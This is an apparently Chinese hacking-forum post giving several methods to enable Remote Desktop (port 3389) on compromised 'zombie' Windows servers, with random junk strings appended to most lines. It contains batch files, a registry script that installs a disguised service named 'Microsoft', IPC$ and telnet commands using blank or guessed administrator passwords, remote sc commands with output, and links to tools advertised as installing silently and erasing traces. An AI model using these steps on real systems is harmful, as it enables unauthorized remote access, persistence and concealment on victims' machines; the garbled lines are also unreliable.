几种开3389端口的方法

[hide=60] 1.打开记事本，编辑内容如下： RHmgD;7`  
echo [Components] > c:\sql s
x7eC  
echo TSEnable = on >> c:\sql &ib5*4!  
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q ,5i`-OI  
编辑好后存为BAT文件，上传至肉鸡，执行。这里值得注意的是要确定winnt是否在c盘，如果在其他盘则需要改动。 `bFff%_  
I KqQ>Z-q~  
2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05 H\h3TdL  
地址:www.netsill.com/rots.zip I9/W;# *~  
使用方法： ?{/4b:ua  
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如： / : L?~  
u?4:H=;>  
c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项] d:
#yEC  
_2hS";K  
服务端口： 设置终端服务的服务端口。默认是3389。 SG6kud\b  
自动重起选项： 使用/r表示安装完成后自动重起目标使设置生效。 H<VTa? n  
使用/fr表示强制重起目标。（如果/r不行，可以允哉飧觯?BR>使用此参数时，端口设置不能忽略。 tX5"UQA  
比如扫描到了一个有NT弱口令的服务器，IP地址是222.222.222.222，管理员帐户是administrator，密码为空 S]bmS6#  
运行CMD（2000下的DOS），我们给它开终端！ q1z"-~i)E  
命令如下！ w$+&3t  
cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr tXoWwQD;Y  
上面的命令应该可以理解吧？cscript reg.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为222.222.222.222 这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以 /r，这是普通重启） @JtM5qB  
J#w J4!  
脚本会判断目标系统类型，如果不是server及以上版本，就会提示你是否要取消。 }T; P~aG  
因为pro版不能安装终端服务。 Tu
$f?  
如果你确信脚本判断错误，就继续安装好了。 WlB  
tmv&U;0Z  
如果要对本地使用，IP地址为127.0.0.1或者一个点（用.表示），用户名和密码都为空（用""表示）。 gnFr}L&j  
~ DBcIy?  
脚本访问的目标的135端口，如果目标135端口未开放，或者WMI服务关闭，那么脚本就没用了。 \SN&G`o<  
ZjgsR|i  
I%r{]-Obr-  
3，下载3389自动安装程序-djshao正式版5.0 JG" R\2  
地址www.netsill.com/djshao.zip ey2S#%DF]  
说明： $CY~5A`l9  
解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下，然后进入c:\ winnt\temp目录执行djxyxs.exe解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡会自动重启！重启后会出现终端服务！ ySx>LuY#3  
8VeQ-#7M/  
特点：1、不用修改注册表的安装路径，注册表会自动修改，安装完后会自动恢复到原来的安装路径，2、在后台安静模式运行，就算肉鸡旁有人也没有关系！3、在添加和删除中看不出终端服务被安装的痕迹，也就是启动终端前不会打钩，4、不会在肉鸡上留下你的上传文件，在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件！5、不管肉鸡的winnt装在什么盘上都无所谓！6、安装完终端后会删除在管理工具中的终端快捷图标！7、在没有安装终端前，终端服务是被禁止的！安装终端后，终端服务被改为自动！但是如果在安装前终端服务是手动！安装后就可能还是手动！等重启后就不会打开服务！所以在软件中加了sc指令，等安装完后，不管终端服务是禁止还是手动还是自动，全部改为自动。8、自动检测肉鸡是不是服务器版，如果不是删除原文件，不执行安装，如果是服务器版就执行安装！9、支持非法内容,请删除韩繁四个版本的win2000服务器版！ isQ[ Gc!8  
!B\R''J5  
,VCyG:dw  
4.下载DameWare NT Utilities 3.66.0.0 注册版 W{5#@_pL  
地址www.netsill.com/dwmrcw36600.zip {1IfU  
安装注册完毕后输入对方IP用户名密码，等待出现是否安装的对话框点是。 ZX>AE3wk  
复制启动后出现对方桌面。 S4'  
在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入后在启动终端服务上打上勾。确定自动提示重起，重起后OK。 T;L>;E>B  
(MR_^t  
u -;_y='m  
５. eIz<)-7:  
:ctu5{"UJ  
首先我们制作开启3389的工具 _oHNkKQ  
先把下面的注册表内容copy一份，另存为3389.reg注册表文件 [#l*_0  
注册表内容： MXw hxk#E  
Windows Registry Editor Version 5.00 b6Wqr/  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] U*i{5/$  
"Enabled"="0" ;*
Ivn@L  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] oE+R3[D?r  
"ShutdownWithoutLogon"="0" 2^y^q2(r  
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] <}E!w_yi  
"EnableAdminTSRemote"=dword:00000001 pnjXf.g"O  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] C1jHz  
"TSEnabled"=dword:00000001 /DK"QV!]s  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] mzeY%A<0^  
"Start"=dword:00000002 bL'aB{s  
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] Jll-`b 1  
"Hotkey"="1" P* w9,  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] X'd9[).  
"Start"=dword:00000002 $ {O#  
"ErrorControl"=dword:00000001 Km(n7Ah"  
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ $"FQj4%d  
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ p^Ak1qm~e  
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 ]~aF2LJ_q  
"ObjectName"="LocalSystem" 8vMG5
#U[  
"Type"=dword:00000010 -*$HddD  
"Description"="Microsoft" L\@I*QP  
"DisplayName"="Microsoft" G_0(
|%  
再把下面的内容保存为批处理文件3389.bat n;@bLJ$W  
安装批处理内容： fDT%!  
copy termsrv.exe eventlog.exe W8ouO+wK  
regedit.exe /s 3389.reg `-(|>5wWS  
del 3389.reg =T(6#"  
del 3389.exe N>XS=2tzN  
del 3389.bat l|/ep:x8  
用winrar制作成exe自解压缩包 P!H_1RwXKC  
*1v[kWa?  
61.188.***.*** user:administrato pass:空 q=%RDG+  
先使用工具letmein判断其操作系统 9;r)#3Q[^  
letmein \\ip -all -d [P&7i57  
TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 mS^tX i5hg  
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 KVT-P};jy*  
应该没有开启了 A/u)# ^\  
建立ipc连接 zG ^$"f2  
copy工具过去 ?AJKBW^  
net use \\ip\ipc$ "pass" /user:name 7* yzEM  
copy file \\ip\admin$\system32 *~t6(
v?  
用opentelnet开对方的telnet v.pBX<  
opentelnet \\ip name pass 1 99 tnPv70m  
用telnet进入 X$ s:>[H  
进入到对方的winnt\system32\ t=Xv;=daB  
目录 SZ,YS 4M  
解压缩3389.exe |y0(Q V  
运行安装批处理3389.bat CDP U\ZG  
现在我们把对方重起一下，用reboot {OXFN;2  
L1cI`9  
ZUoxMm  
6^eV"&+@  
77\]B  
7. 8,C*4y~  
y~q8pH1  
检查对方是否真的禁用了Terminal server jz qyk^X  
C:\>sc \\xxx.xxx.xxx.xxx qc termservice &
Xf^Iu  
[SC] GetServiceConfig SUCCESS 3BtaH#ZY  
SERVICE_NAME: termservice )iYxt:(,  
TYPE : 10 WIN32_OWN_PROCESS /H8g(  
START_TYPE : 4 DISABLED H."EUcE{  
ERROR_CONTROL : 1 NORMAL ~:Ll&29i  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe SKkUU^\#R`  
LOAD_ORDER_GROUP : j`~Ms>  
TAG : 0 kQEy#JQmB  
DISPLAY_NAME : Terminal Services tasUZ#\6  
DEPENDENCIES : B"!l2  
SERVICE_START_NAME : LocalSystem a-=8xs'
 
仔细看 START_TYPE一项，显示对方该服务的启动模式为“DISABLED”也就是“禁用”。 ^pQCNKLBY  
@\f^0^G  
+VO-oFE|  
C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto H
@%GSE  
[SC] ChangeServiceConfig SUCCESS Uk^B"y_  
好了，现在我们已经把对方终端服务的启动模式修改成自动了。 wVEm:/;z&  
]Q>.HH  
m 8aITd8  
[8T^@YN  
再检查一便对方终端服务的启动模式 XCU7xi$d  
C:\>sc \\TEST qc termservice nlW +.a[  
[SC] GetServiceConfig SUCCESS Zc W:6po>  
SERVICE_NAME: termservice 7Rd'm'l)  
TYPE : 10 WIN32_OWN_PROCESS (O.d>  
START_TYPE : 2 AUTO_START v7iuL6jl  
ERROR_CONTROL : 1 NORMAL j)<IRD^  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe >zXsNeGQR  
LOAD_ORDER_GROUP : 6]W=nAD  
TAG : 0 BYVY)<v/  
DISPLAY_NAME : Terminal Services q,93nhs "  
DEPENDENCIES : 23RN}LUi  
SERVICE_START_NAME : LocalSystem Rm255zp  
-uMSe~  
3|'>`!hb  
#~C]ZrK  
启动对方的终端服务 vgfcCcZ_iZ  
C:\>sc \\xxx.xxx.xxx.xxx start termservice
D-5VC9{  
SERVICE_NAME: termservice #a'Ex=%rM  
TYPE : 10 WIN32_OWN_PROCESS v(ZYS']d2  
STATE : 2 START_PENDING P<M?Qd1.  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) $W!!wN=B  
WIN32_EXIT_CODE : 0 (0x0) kBD>-5Sn_T  
SERVICE_EXIT_CODE : 0 (0x0) ihIVUu-M  
CHECKPOINT : 0x1 P)Rh=U  
WAIT_HINT : 0x7530 j g8fU  

d@XV:ae  
+n{#V;J  
C:\>sc \\xxx.xxx.xxx.xxx query termservice gcdlT7F)b-  
SERVICE_NAME: termservice _qw?@478  
TYPE : 10 WIN32_OWN_PROCESS #xX5,r0  
STATE : 4 RUNNING  SL#0kc0x  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) hc>HQrd  
WIN32_EXIT_CODE : 0 (0x0) <{V(.=11  
SERVICE_EXIT_CODE : 0 (0x0) mID"^NOi#  
CHECKPOINT : 0x0 3?V_BUoON  
WAIT_HINT : 0x0[/hide]